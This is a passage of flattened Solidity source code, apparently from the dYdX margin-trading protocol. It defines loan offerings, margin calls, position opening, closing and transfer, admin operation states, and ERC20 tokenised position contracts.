); event LoanOfferingCanceled( bytes32 indexed loanHash, address indexed payer, address indexed feeRecipient, uint256 cancelAmount ); function marginCallImpl( MarginState.State storage state, bytes32 positionId, uint256 requiredDeposit ) public { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); require( position.callTimestamp == 0, "LoanImpl#marginCallImpl: The position has already been margin-called" ); marginCallOnBehalfOfRecurse( position.lender, msg.sender, positionId, requiredDeposit ); position.callTimestamp = TimestampHelper.getBlockTimestamp32(); position.requiredDeposit = requiredDeposit; emit MarginCallInitiated( positionId, position.lender, position.owner, requiredDeposit ); } function cancelMarginCallImpl( MarginState.State storage state, bytes32 positionId ) public { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); require( position.callTimestamp > 0, "LoanImpl#cancelMarginCallImpl: Position has not been margin-called" ); cancelMarginCallOnBehalfOfRecurse( position.lender, msg.sender, positionId ); state.positions[positionId].callTimestamp = 0; state.positions[positionId].requiredDeposit = 0; emit MarginCallCanceled( positionId, position.lender, position.owner, 0 ); } function cancelLoanOfferingImpl( MarginState.State storage state, address[9] addresses, uint256[7] values256, uint32[4] values32, uint256 cancelAmount ) public returns (uint256) { MarginCommon.LoanOffering memory loanOffering = parseLoanOffering( addresses, values256, values32 ); require( msg.sender == loanOffering.payer, "LoanImpl#cancelLoanOfferingImpl: Only loan offering payer can cancel" ); require( loanOffering.expirationTimestamp > block.timestamp, "LoanImpl#cancelLoanOfferingImpl: Loan offering has already expired" ); uint256 remainingAmount = loanOffering.rates.maxAmount.sub( MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanOffering.loanHash) ); uint256 amountToCancel = Math.min256(remainingAmount, cancelAmount); if (amountToCancel == 0) { return 0; } state.loanCancels[loanOffering.loanHash] = state.loanCancels[loanOffering.loanHash].add(amountToCancel); emit LoanOfferingCanceled( loanOffering.loanHash, loanOffering.payer, loanOffering.feeRecipient, amountToCancel ); return amountToCancel; } function marginCallOnBehalfOfRecurse( address contractAddr, address who, bytes32 positionId, uint256 requiredDeposit ) private { if (who == contractAddr) { return; } address newContractAddr = MarginCallDelegator(contractAddr).marginCallOnBehalfOf( msg.sender, positionId, requiredDeposit ); if (newContractAddr != contractAddr) { marginCallOnBehalfOfRecurse( newContractAddr, who, positionId, requiredDeposit ); } } function cancelMarginCallOnBehalfOfRecurse( address contractAddr, address who, bytes32 positionId ) private { if (who == contractAddr) { return; } address newContractAddr = CancelMarginCallDelegator(contractAddr).cancelMarginCallOnBehalfOf( msg.sender, positionId ); if (newContractAddr != contractAddr) { cancelMarginCallOnBehalfOfRecurse( newContractAddr, who, positionId ); } } function parseLoanOffering( address[9] addresses, uint256[7] values256, uint32[4] values32 ) private view returns (MarginCommon.LoanOffering memory) { MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({ owedToken: addresses[0], heldToken: addresses[1], payer: addresses[2], owner: addresses[3], taker: addresses[4], positionOwner: addresses[5], feeRecipient: addresses[6], lenderFeeToken: addresses[7], takerFeeToken: addresses[8], rates: parseLoanOfferRates(values256, values32), expirationTimestamp: values256[5], callTimeLimit: values32[0], maxDuration: values32[1], salt: values256[6], loanHash: 0, signature: new bytes(0) }); loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering); return loanOffering; } function parseLoanOfferRates( uint256[7] values256, uint32[4] values32 ) private pure returns (MarginCommon.LoanRates memory) { MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({ maxAmount: values256[0], minAmount: values256[1], minHeldToken: values256[2], interestRate: values32[2], lenderFee: values256[3], takerFee: values256[4], interestPeriod: values32[3] }); return rates; } } contract MarginAdmin is Ownable { uint8 private constant OPERATION_STATE_OPERATIONAL = 0; uint8 private constant OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY = 1; uint8 private constant OPERATION_STATE_CLOSE_ONLY = 2; uint8 private constant OPERATION_STATE_CLOSE_DIRECTLY_ONLY = 3; uint8 private constant OPERATION_STATE_INVALID = 4; event OperationStateChanged( uint8 from, uint8 to ); uint8 public operationState; constructor() public Ownable() { operationState = OPERATION_STATE_OPERATIONAL; } modifier onlyWhileOperational() { require( operationState == OPERATION_STATE_OPERATIONAL, "MarginAdmin#onlyWhileOperational: Can only call while operational" ); _; } modifier cancelLoanOfferingStateControl() { require( operationState == OPERATION_STATE_OPERATIONAL || operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY, "MarginAdmin#cancelLoanOfferingStateControl: Invalid operation state" ); _; } modifier closePositionStateControl() { require( operationState == OPERATION_STATE_OPERATIONAL || operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY || operationState == OPERATION_STATE_CLOSE_ONLY, "MarginAdmin#closePositionStateControl: Invalid operation state" ); _; } modifier closePositionDirectlyStateControl() { _; } function setOperationState( uint8 newState ) external onlyOwner { require( newState < OPERATION_STATE_INVALID, "MarginAdmin#setOperationState: newState is not a valid operation state" ); if (newState != operationState) { emit OperationStateChanged( operationState, newState ); operationState = newState; } } } contract MarginEvents { event PositionOpened( bytes32 indexed positionId, address indexed trader, address indexed lender, bytes32 loanHash, address owedToken, address heldToken, address loanFeeRecipient, uint256 principal, uint256 heldTokenFromSell, uint256 depositAmount, uint256 interestRate, uint32 callTimeLimit, uint32 maxDuration, bool depositInHeldToken ); event PositionIncreased( bytes32 indexed positionId, address indexed trader, address indexed lender, address positionOwner, address loanOwner, bytes32 loanHash, address loanFeeRecipient, uint256 amountBorrowed, uint256 principalAdded, uint256 heldTokenFromSell, uint256 depositAmount, bool depositInHeldToken ); event PositionClosed( bytes32 indexed positionId, address indexed closer, address indexed payoutRecipient, uint256 closeAmount, uint256 remainingAmount, uint256 owedTokenPaidToLender, uint256 payoutAmount, uint256 buybackCostInHeldToken, bool payoutInHeldToken ); event CollateralForceRecovered( bytes32 indexed positionId, address indexed recipient, uint256 amount ); event MarginCallInitiated( bytes32 indexed positionId, address indexed lender, address indexed owner, uint256 requiredDeposit ); event MarginCallCanceled( bytes32 indexed positionId, address indexed lender, address indexed owner, uint256 depositAmount ); event LoanOfferingCanceled( bytes32 indexed loanHash, address indexed payer, address indexed feeRecipient, uint256 cancelAmount ); event AdditionalCollateralDeposited( bytes32 indexed positionId, uint256 amount, address depositor ); event LoanTransferred( bytes32 indexed positionId, address indexed from, address indexed to ); event PositionTransferred( bytes32 indexed positionId, address indexed from, address indexed to ); } library OpenPositionImpl { using SafeMath for uint256; event PositionOpened( bytes32 indexed positionId, address indexed trader, address indexed lender, bytes32 loanHash, address owedToken, address heldToken, address loanFeeRecipient, uint256 principal, uint256 heldTokenFromSell, uint256 depositAmount, uint256 interestRate, uint32 callTimeLimit, uint32 maxDuration, bool depositInHeldToken ); function openPositionImpl( MarginState.State storage state, address[11] addresses, uint256[10] values256, uint32[4] values32, bool depositInHeldToken, bytes signature, bytes orderData ) public returns (bytes32) { BorrowShared.Tx memory transaction = parseOpenTx( addresses, values256, values32, depositInHeldToken, signature ); require( !MarginCommon.positionHasExisted(state, transaction.positionId), "OpenPositionImpl#openPositionImpl: positionId already exists" ); doBorrowAndSell(state, transaction, orderData); recordPositionOpened( transaction ); doStoreNewPosition( state, transaction ); return transaction.positionId; } function doBorrowAndSell( MarginState.State storage state, BorrowShared.Tx memory transaction, bytes orderData ) private { BorrowShared.validateTxPreSell(state, transaction); if (transaction.depositInHeldToken) { BorrowShared.doDepositHeldToken(state, transaction); } else { BorrowShared.doDepositOwedToken(state, transaction); } transaction.heldTokenFromSell = BorrowShared.doSell( state, transaction, orderData, MathHelpers.maxUint256() ); BorrowShared.doPostSell(state, transaction); } function doStoreNewPosition( MarginState.State storage state, BorrowShared.Tx memory transaction ) private { MarginCommon.storeNewPosition( state, transaction.positionId, MarginCommon.Position({ owedToken: transaction.loanOffering.owedToken, heldToken: transaction.loanOffering.heldToken, lender: transaction.loanOffering.owner, owner: transaction.owner, principal: transaction.principal, requiredDeposit: 0, callTimeLimit: transaction.loanOffering.callTimeLimit, startTimestamp: 0, callTimestamp: 0, maxDuration: transaction.loanOffering.maxDuration, interestRate: transaction.loanOffering.rates.interestRate, interestPeriod: transaction.loanOffering.rates.interestPeriod }), transaction.loanOffering.payer ); } function recordPositionOpened( BorrowShared.Tx transaction ) private { emit PositionOpened( transaction.positionId, msg.sender, transaction.loanOffering.payer, transaction.loanOffering.loanHash, transaction.loanOffering.owedToken, transaction.loanOffering.heldToken, transaction.loanOffering.feeRecipient, transaction.principal, transaction.heldTokenFromSell, transaction.depositAmount, transaction.loanOffering.rates.interestRate, transaction.loanOffering.callTimeLimit, transaction.loanOffering.maxDuration, transaction.depositInHeldToken ); } function parseOpenTx( address[11] addresses, uint256[10] values256, uint32[4] values32, bool depositInHeldToken, bytes signature ) private view returns (BorrowShared.Tx memory) { BorrowShared.Tx memory transaction = BorrowShared.Tx({ positionId: MarginCommon.getPositionIdFromNonce(values256[9]), owner: addresses[0], principal: values256[7], lenderAmount: values256[7], loanOffering: parseLoanOffering( addresses, values256, values32, signature ), exchangeWrapper: addresses[10], depositInHeldToken: depositInHeldToken, depositAmount: values256[8], collateralAmount: 0, heldTokenFromSell: 0 }); return transaction; } function parseLoanOffering( address[11] addresses, uint256[10] values256, uint32[4] values32, bytes signature ) private view returns (MarginCommon.LoanOffering memory) { MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({ owedToken: addresses[1], heldToken: addresses[2], payer: addresses[3], owner: addresses[4], taker: addresses[5], positionOwner: addresses[6], feeRecipient: addresses[7], lenderFeeToken: addresses[8], takerFeeToken: addresses[9], rates: parseLoanOfferRates(values256, values32), expirationTimestamp: values256[5], callTimeLimit: values32[0], maxDuration: values32[1], salt: values256[6], loanHash: 0, signature: signature }); loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering); return loanOffering; } function parseLoanOfferRates( uint256[10] values256, uint32[4] values32 ) private pure returns (MarginCommon.LoanRates memory) { MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({ maxAmount: values256[0], minAmount: values256[1], minHeldToken: values256[2], lenderFee: values256[3], takerFee: values256[4], interestRate: values32[2], interestPeriod: values32[3] }); return rates; } } library OpenWithoutCounterpartyImpl { struct Tx { bytes32 positionId; address positionOwner; address owedToken; address heldToken; address loanOwner; uint256 principal; uint256 deposit; uint32 callTimeLimit; uint32 maxDuration; uint32 interestRate; uint32 interestPeriod; } event PositionOpened( bytes32 indexed positionId, address indexed trader, address indexed lender, bytes32 loanHash, address owedToken, address heldToken, address loanFeeRecipient, uint256 principal, uint256 heldTokenFromSell, uint256 depositAmount, uint256 interestRate, uint32 callTimeLimit, uint32 maxDuration, bool depositInHeldToken ); function openWithoutCounterpartyImpl( MarginState.State storage state, address[4] addresses, uint256[3] values256, uint32[4] values32 ) public returns (bytes32) { Tx memory openTx = parseTx( addresses, values256, values32 ); validate( state, openTx ); Vault(state.VAULT).transferToVault( openTx.positionId, openTx.heldToken, msg.sender, openTx.deposit ); recordPositionOpened( openTx ); doStoreNewPosition( state, openTx ); return openTx.positionId; } function doStoreNewPosition( MarginState.State storage state, Tx memory openTx ) private { MarginCommon.storeNewPosition( state, openTx.positionId, MarginCommon.Position({ owedToken: openTx.owedToken, heldToken: openTx.heldToken, lender: openTx.loanOwner, owner: openTx.positionOwner, principal: openTx.principal, requiredDeposit: 0, callTimeLimit: openTx.callTimeLimit, startTimestamp: 0, callTimestamp: 0, maxDuration: openTx.maxDuration, interestRate: openTx.interestRate, interestPeriod: openTx.interestPeriod }), msg.sender ); } function validate( MarginState.State storage state, Tx memory openTx ) private view { require( !MarginCommon.positionHasExisted(state, openTx.positionId), "openWithoutCounterpartyImpl#validate: positionId already exists" ); require( openTx.principal > 0, "openWithoutCounterpartyImpl#validate: principal cannot be 0" ); require( openTx.owedToken != address(0), "openWithoutCounterpartyImpl#validate: owedToken cannot be 0" ); require( openTx.owedToken != openTx.heldToken, "openWithoutCounterpartyImpl#validate: owedToken cannot be equal to heldToken" ); require( openTx.positionOwner != address(0), "openWithoutCounterpartyImpl#validate: positionOwner cannot be 0" ); require( openTx.loanOwner != address(0), "openWithoutCounterpartyImpl#validate: loanOwner cannot be 0" ); require( openTx.maxDuration > 0, "openWithoutCounterpartyImpl#validate: maxDuration cannot be 0" ); require( openTx.interestPeriod <= openTx.maxDuration, "openWithoutCounterpartyImpl#validate: interestPeriod must be <= maxDuration" ); } function recordPositionOpened( Tx memory openTx ) private { emit PositionOpened( openTx.positionId, msg.sender, msg.sender, bytes32(0), openTx.owedToken, openTx.heldToken, address(0), openTx.principal, 0, openTx.deposit, openTx.interestRate, openTx.callTimeLimit, openTx.maxDuration, true ); } function parseTx( address[4] addresses, uint256[3] values256, uint32[4] values32 ) private view returns (Tx memory) { Tx memory openTx = Tx({ positionId: MarginCommon.getPositionIdFromNonce(values256[2]), positionOwner: addresses[0], owedToken: addresses[1], heldToken: addresses[2], loanOwner: addresses[3], principal: values256[0], deposit: values256[1], callTimeLimit: values32[0], maxDuration: values32[1], interestRate: values32[2], interestPeriod: values32[3] }); return openTx; } } contract PositionGetters is MarginStorage { using SafeMath for uint256; function containsPosition( bytes32 positionId ) external view returns (bool) { return MarginCommon.containsPositionImpl(state, positionId); } function isPositionCalled( bytes32 positionId ) external view returns (bool) { return (state.positions[positionId].callTimestamp > 0); } function isPositionClosed( bytes32 positionId ) external view returns (bool) { return state.closedPositions[positionId]; } function getTotalOwedTokenRepaidToLender( bytes32 positionId ) external view returns (uint256) { return state.totalOwedTokenRepaidToLender[positionId]; } function getPositionBalance( bytes32 positionId ) external view returns (uint256) { return MarginCommon.getPositionBalanceImpl(state, positionId); } function getTimeUntilInterestIncrease( bytes32 positionId ) external view returns (uint256) { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); uint256 effectiveTimeElapsed = MarginCommon.calculateEffectiveTimeElapsed( position, block.timestamp ); uint256 absoluteTimeElapsed = block.timestamp.sub(position.startTimestamp); if (absoluteTimeElapsed > effectiveTimeElapsed) { return 0; } else { return effectiveTimeElapsed.add(1).sub(absoluteTimeElapsed); } } function getPositionOwedAmount( bytes32 positionId ) external view returns (uint256) { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); return MarginCommon.calculateOwedAmount( position, position.principal, block.timestamp ); } function getPositionOwedAmountAtTime( bytes32 positionId, uint256 principalToClose, uint32 timestamp ) external view returns (uint256) { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); require( timestamp >= position.startTimestamp, "PositionGetters#getPositionOwedAmountAtTime: Requested time before position started" ); return MarginCommon.calculateOwedAmount( position, principalToClose, timestamp ); } function getLenderAmountForIncreasePositionAtTime( bytes32 positionId, uint256 principalToAdd, uint32 timestamp ) external view returns (uint256) { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); require( timestamp >= position.startTimestamp, "PositionGetters#getLenderAmountForIncreasePositionAtTime: timestamp < position start" ); return MarginCommon.calculateLenderAmountForIncreasePosition( position, principalToAdd, timestamp ); } function getPosition( bytes32 positionId ) external view returns ( address[4], uint256[2], uint32[6] ) { MarginCommon.Position storage position = state.positions[positionId]; return ( [ position.owedToken, position.heldToken, position.lender, position.owner ], [ position.principal, position.requiredDeposit ], [ position.callTimeLimit, position.startTimestamp, position.callTimestamp, position.maxDuration, position.interestRate, position.interestPeriod ] ); } function getPositionLender( bytes32 positionId ) external view returns (address) { return state.positions[positionId].lender; } function getPositionOwner( bytes32 positionId ) external view returns (address) { return state.positions[positionId].owner; } function getPositionHeldToken( bytes32 positionId ) external view returns (address) { return state.positions[positionId].heldToken; } function getPositionOwedToken( bytes32 positionId ) external view returns (address) { return state.positions[positionId].owedToken; } function getPositionPrincipal( bytes32 positionId ) external view returns (uint256) { return state.positions[positionId].principal; } function getPositionInterestRate( bytes32 positionId ) external view returns (uint256) { return state.positions[positionId].interestRate; } function getPositionRequiredDeposit( bytes32 positionId ) external view returns (uint256) { return state.positions[positionId].requiredDeposit; } function getPositionStartTimestamp( bytes32 positionId ) external view returns (uint32) { return state.positions[positionId].startTimestamp; } function getPositionCallTimestamp( bytes32 positionId ) external view returns (uint32) { return state.positions[positionId].callTimestamp; } function getPositionCallTimeLimit( bytes32 positionId ) external view returns (uint32) { return state.positions[positionId].callTimeLimit; } function getPositionMaxDuration( bytes32 positionId ) external view returns (uint32) { return state.positions[positionId].maxDuration; } function getPositioninterestPeriod( bytes32 positionId ) external view returns (uint32) { return state.positions[positionId].interestPeriod; } } library TransferImpl { function transferLoanImpl( MarginState.State storage state, bytes32 positionId, address newLender ) public { require( MarginCommon.containsPositionImpl(state, positionId), "TransferImpl#transferLoanImpl: Position does not exist" ); address originalLender = state.positions[positionId].lender; require( msg.sender == originalLender, "TransferImpl#transferLoanImpl: Only lender can transfer ownership" ); require( newLender != originalLender, "TransferImpl#transferLoanImpl: Cannot transfer ownership to self" ); address finalLender = TransferInternal.grantLoanOwnership( positionId, originalLender, newLender); require( finalLender != originalLender, "TransferImpl#transferLoanImpl: Cannot ultimately transfer ownership to self" ); state.positions[positionId].lender = finalLender; } function transferPositionImpl( MarginState.State storage state, bytes32 positionId, address newOwner ) public { require( MarginCommon.containsPositionImpl(state, positionId), "TransferImpl#transferPositionImpl: Position does not exist" ); address originalOwner = state.positions[positionId].owner; require( msg.sender == originalOwner, "TransferImpl#transferPositionImpl: Only position owner can transfer ownership" ); require( newOwner != originalOwner, "TransferImpl#transferPositionImpl: Cannot transfer ownership to self" ); address finalOwner = TransferInternal.grantPositionOwnership( positionId, originalOwner, newOwner); require( finalOwner != originalOwner, "TransferImpl#transferPositionImpl: Cannot ultimately transfer ownership to self" ); state.positions[positionId].owner = finalOwner; } } contract Margin is ReentrancyGuard, MarginStorage, MarginEvents, MarginAdmin, LoanGetters, PositionGetters { using SafeMath for uint256; constructor( address vault, address proxy ) public MarginAdmin() { state = MarginState.State({ VAULT: vault, TOKEN_PROXY: proxy }); } function openPosition( address[11] addresses, uint256[10] values256, uint32[4] values32, bool depositInHeldToken, bytes signature, bytes order ) external onlyWhileOperational nonReentrant returns (bytes32) { return OpenPositionImpl.openPositionImpl( state, addresses, values256, values32, depositInHeldToken, signature, order ); } function openWithoutCounterparty( address[4] addresses, uint256[3] values256, uint32[4] values32 ) external onlyWhileOperational nonReentrant returns (bytes32) { return OpenWithoutCounterpartyImpl.openWithoutCounterpartyImpl( state, addresses, values256, values32 ); } function increasePosition( bytes32 positionId, address[7] addresses, uint256[8] values256, uint32[2] values32, bool depositInHeldToken, bytes signature, bytes order ) external onlyWhileOperational nonReentrant returns (uint256) { return IncreasePositionImpl.increasePositionImpl( state, positionId, addresses, values256, values32, depositInHeldToken, signature, order ); } function increaseWithoutCounterparty( bytes32 positionId, uint256 principalToAdd ) external onlyWhileOperational nonReentrant returns (uint256) { return IncreasePositionImpl.increaseWithoutCounterpartyImpl( state, positionId, principalToAdd ); } function closePosition( bytes32 positionId, uint256 requestedCloseAmount, address payoutRecipient, address exchangeWrapper, bool payoutInHeldToken, bytes order ) external closePositionStateControl nonReentrant returns (uint256, uint256, uint256) { return ClosePositionImpl.closePositionImpl( state, positionId, requestedCloseAmount, payoutRecipient, exchangeWrapper, payoutInHeldToken, order ); } function closePositionDirectly( bytes32 positionId, uint256 requestedCloseAmount, address payoutRecipient ) external closePositionDirectlyStateControl nonReentrant returns (uint256, uint256, uint256) { return ClosePositionImpl.closePositionImpl( state, positionId, requestedCloseAmount, payoutRecipient, address(0), true, new bytes(0) ); } function closeWithoutCounterparty( bytes32 positionId, uint256 requestedCloseAmount, address payoutRecipient ) external closePositionStateControl nonReentrant returns (uint256, uint256) { return CloseWithoutCounterpartyImpl.closeWithoutCounterpartyImpl( state, positionId, requestedCloseAmount, payoutRecipient ); } function marginCall( bytes32 positionId, uint256 requiredDeposit ) external nonReentrant { LoanImpl.marginCallImpl( state, positionId, requiredDeposit ); } function cancelMarginCall( bytes32 positionId ) external onlyWhileOperational nonReentrant { LoanImpl.cancelMarginCallImpl(state, positionId); } function forceRecoverCollateral( bytes32 positionId, address recipient ) external nonReentrant returns (uint256) { return ForceRecoverCollateralImpl.forceRecoverCollateralImpl( state, positionId, recipient ); } function depositCollateral( bytes32 positionId, uint256 depositAmount ) external onlyWhileOperational nonReentrant { DepositCollateralImpl.depositCollateralImpl( state, positionId, depositAmount ); } function cancelLoanOffering( address[9] addresses, uint256[7] values256, uint32[4] values32, uint256 cancelAmount ) external cancelLoanOfferingStateControl nonReentrant returns (uint256) { return LoanImpl.cancelLoanOfferingImpl( state, addresses, values256, values32, cancelAmount ); } function transferLoan( bytes32 positionId, address who ) external nonReentrant { TransferImpl.transferLoanImpl( state, positionId, who); } function transferPosition( bytes32 positionId, address who ) external nonReentrant { TransferImpl.transferPositionImpl( state, positionId, who); } function getVaultAddress() external view returns (address) { return state.VAULT; } function getTokenProxyAddress() external view returns (address) { return state.TOKEN_PROXY; } } contract OnlyMargin { address public DYDX_MARGIN; constructor( address margin ) public { DYDX_MARGIN = margin; } modifier onlyMargin() { require( msg.sender == DYDX_MARGIN, "OnlyMargin#onlyMargin: Only Margin can call" ); _; } } interface PositionCustodian { function getPositionDeedHolder( bytes32 positionId ) external view returns (address); } library MarginHelper { function getPosition( address DYDX_MARGIN, bytes32 positionId ) internal view returns (MarginCommon.Position memory) { ( address[4] memory addresses, uint256[2] memory values256, uint32[6] memory values32 ) = Margin(DYDX_MARGIN).getPosition(positionId); return MarginCommon.Position({ owedToken: addresses[0], heldToken: addresses[1], lender: addresses[2], owner: addresses[3], principal: values256[0], requiredDeposit: values256[1], callTimeLimit: values32[0], startTimestamp: values32[1], callTimestamp: values32[2], maxDuration: values32[3], interestRate: values32[4], interestPeriod: values32[5] }); } } contract ERC20Position is ReentrancyGuard, StandardToken, OnlyMargin, PositionOwner, IncreasePositionDelegator, ClosePositionDelegator, PositionCustodian { using SafeMath for uint256; enum State { UNINITIALIZED, OPEN, CLOSED } event Initialized( bytes32 positionId, uint256 initialSupply ); event ClosedByTrustedParty( address closer, uint256 tokenAmount, address payoutRecipient ); event CompletelyClosed(); event Withdraw( address indexed redeemer, uint256 tokensRedeemed, uint256 heldTokenPayout ); event Close( address indexed redeemer, uint256 closeAmount ); address public INITIAL_TOKEN_HOLDER; bytes32 public POSITION_ID; mapping (address => bool) public TRUSTED_RECIPIENTS; mapping (address => bool) public TRUSTED_WITHDRAWERS; State public state; address public heldToken; bool public closedUsingTrustedRecipient; modifier onlyPosition(bytes32 positionId) { require( POSITION_ID == positionId, "ERC20Position#onlyPosition: Incorrect position" ); _; } modifier onlyState(State specificState) { require( state == specificState, "ERC20Position#onlyState: Incorrect State" ); _; } constructor( bytes32 positionId, address margin, address initialTokenHolder, address[] trustedRecipients, address[] trustedWithdrawers ) public OnlyMargin(margin) { POSITION_ID = positionId; state = State.UNINITIALIZED; INITIAL_TOKEN_HOLDER = initialTokenHolder; closedUsingTrustedRecipient = false; uint256 i; for (i = 0; i < trustedRecipients.length; i++) { TRUSTED_RECIPIENTS[trustedRecipients[i]] = true; } for (i = 0; i < trustedWithdrawers.length; i++) { TRUSTED_WITHDRAWERS[trustedWithdrawers[i]] = true; } } function receivePositionOwnership( address , bytes32 positionId ) external onlyMargin nonReentrant onlyState(State.UNINITIALIZED) onlyPosition(positionId) returns (address) { MarginCommon.Position memory position = MarginHelper.getPosition(DYDX_MARGIN, POSITION_ID); assert(position.principal > 0); state = State.OPEN; heldToken = position.heldToken; uint256 tokenAmount = getTokenAmountOnAdd(position.principal); emit Initialized(POSITION_ID, tokenAmount); mint(INITIAL_TOKEN_HOLDER, tokenAmount); return address(this); } function increasePositionOnBehalfOf( address trader, bytes32 positionId, uint256 principalAdded ) external onlyMargin nonReentrant onlyState(State.OPEN) onlyPosition(positionId) returns (address) { require( !Margin(DYDX_MARGIN).isPositionCalled(POSITION_ID), "ERC20Position#increasePositionOnBehalfOf: Position is margin-called" ); require( !closedUsingTrustedRecipient, "ERC20Position#increasePositionOnBehalfOf: Position closed using trusted recipient" ); uint256 tokenAmount = getTokenAmountOnAdd(principalAdded); mint(trader, tokenAmount); return address(this); } function closeOnBehalfOf( address closer, address payoutRecipient, bytes32 positionId, uint256 requestedAmount ) external onlyMargin nonReentrant onlyState(State.OPEN) onlyPosition(positionId) returns (address, uint256) { uint256 positionPrincipal = Margin(DYDX_MARGIN).getPositionPrincipal(positionId); assert(requestedAmount <= positionPrincipal); uint256 allowedAmount; if (TRUSTED_RECIPIENTS[payoutRecipient]) { allowedAmount = closeUsingTrustedRecipient( closer, payoutRecipient, requestedAmount ); } else { allowedAmount = close( closer, requestedAmount, positionPrincipal ); } assert(allowedAmount > 0); assert(allowedAmount <= requestedAmount); if (allowedAmount == positionPrincipal) { state = State.CLOSED; emit CompletelyClosed(); } return (address(this), allowedAmount); } function withdraw( address onBehalfOf ) external nonReentrant returns (uint256) { setStateClosedIfClosed(); require( state == State.CLOSED, "ERC20Position#withdraw: Position has not yet been closed" ); if (msg.sender != onBehalfOf) { require( TRUSTED_WITHDRAWERS[msg.sender], "ERC20Position#withdraw: Only trusted withdrawers can withdraw on behalf of others" ); } return withdrawImpl(msg.sender, onBehalfOf); } function decimals() external view returns (uint8); function symbol() external view returns (string); function getPositionDeedHolder( bytes32 positionId ) external view onlyPosition(positionId) returns (address) { return address(this); } function closeUsingTrustedRecipient( address closer, address payoutRecipient, uint256 requestedAmount ) internal returns (uint256) { assert(requestedAmount > 0); if (!closedUsingTrustedRecipient) { closedUsingTrustedRecipient = true; } emit ClosedByTrustedParty(closer, requestedAmount, payoutRecipient); return requestedAmount; } function withdrawImpl( address receiver, address onBehalfOf ) private returns (uint256) { uint256 value = balanceOf(onBehalfOf); if (value == 0) { return 0; } uint256 heldTokenBalance = TokenInteract.balanceOf(heldToken, address(this)); uint256 heldTokenPayout = MathHelpers.getPartialAmount( value, totalSupply_, heldTokenBalance ); burn(onBehalfOf, value); emit Withdraw(onBehalfOf, value, heldTokenPayout); TokenInteract.transfer(heldToken, receiver, heldTokenPayout); return heldTokenPayout; } function setStateClosedIfClosed( ) private { if (state == State.OPEN && Margin(DYDX_MARGIN).isPositionClosed(POSITION_ID)) { state = State.CLOSED; emit CompletelyClosed(); } } function close( address closer, uint256 requestedAmount, uint256 positionPrincipal ) private returns (uint256) { uint256 balance = balances[closer]; ( uint256 tokenAmount, uint256 allowedCloseAmount ) = getCloseAmounts( requestedAmount, balance, positionPrincipal ); require( tokenAmount > 0 && allowedCloseAmount > 0, "ERC20Position#close: Cannot close 0 amount" ); assert(allowedCloseAmount <= requestedAmount); burn(closer, tokenAmount); emit Close(closer, tokenAmount); return allowedCloseAmount; } function burn( address from, uint256 amount ) private { assert(from != address(0)); totalSupply_ = totalSupply_.sub(amount); balances[from] = balances[from].sub(amount); emit Transfer(from, address(0), amount); } function mint( address to, uint256 amount ) private { assert(to != address(0)); totalSupply_ = totalSupply_.add(amount); balances[to] = balances[to].add(amount); emit Transfer(address(0), to, amount); } function getTokenAmountOnAdd( uint256 principalAdded ) internal view returns (uint256); function getCloseAmounts( uint256 requestedCloseAmount, uint256 balance, uint256 positionPrincipal ) private view returns ( uint256 , uint256 ); } contract ERC20CappedPosition is ERC20Position, Ownable { using SafeMath for uint256; event TokenCapSet( uint256 tokenCap ); event TrustedCloserSet( address closer, bool allowed ); mapping(address => bool) public TRUSTED_LATE_CLOSERS; uint256 public tokenCap; constructor( address[] trustedLateClosers, uint256 cap ) public Ownable() { for (uint256 i = 0; i < trustedLateClosers.length; i++) { TRUSTED_LATE_CLOSERS[trustedLateClosers[i]] = true; } tokenCap = cap; } function setTokenCap( uint256 newCap ) external onlyOwner { tokenCap = newCap; emit TokenCapSet(newCap); } function setTrustedLateCloser( address closer, bool allowed ) external onlyOwner { TRUSTED_LATE_CLOSERS[closer] = allowed; emit TrustedCloserSet(closer, allowed); } function closeUsingTrustedRecipient( address closer, address payoutRecipient, uint256 requestedAmount ) internal returns (uint256) { MarginCommon.Position memory position = MarginHelper.getPosition(DYDX_MARGIN, POSITION_ID); bool afterEnd = block.timestamp > uint256(position.startTimestamp).add(position.maxDuration); bool afterCall = position.callTimestamp > 0 && block.timestamp > uint256(position.callTimestamp).add(position.callTimeLimit); if (afterCall || afterEnd) { require ( TRUSTED_LATE_CLOSERS[closer], "ERC20CappedPosition#closeUsingTrustedRecipient: closer not in TRUSTED_LATE_CLOSERS" ); } return super.closeUsingTrustedRecipient(closer, payoutRecipient, requestedAmount); } } contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } library StringHelpers { function strcat( bytes stringA, bytes stringB ) internal pure returns (bytes) { uint256 lengthA = stringA.length; uint256 lengthB = stringB.length; bytes memory result = new bytes(lengthA + lengthB); uint256 i = 0; for (i = 0; i < lengthA; i++) { result[i] = stringA[i]; } for (i = 0; i < lengthB; i++) { result[lengthA + i] = stringB[i]; } return result; } function bytes32ToHex( bytes32 input ) internal pure returns (bytes) { uint256 number = uint256(input); bytes memory numberAsString = new bytes(66); numberAsString[0] = byte(48); numberAsString[1] = byte(120); for (uint256 n = 0; n < 32; n++) { uint256 nthByte = number / uint256(uint256(2) ** uint256(248 - 8 * n)); uint8 hex1 = uint8(nthByte) / uint8(16); uint8 hex2 = uint8(nthByte) % uint8(16); hex1 += (hex1 > 9) ? 87 : 48; hex2 += (hex2 > 9) ? 87 : 48; numberAsString[2 * n + 2] = byte(hex1); numberAsString[2 * n + 3] = byte(hex2); } return numberAsString; } } contract ERC20Short is ERC20Position { constructor( bytes32 positionId, address margin, address initialTokenHolder, address[] trustedRecipients, address[] trustedWithdrawers ) public ERC20Position( positionId, margin, 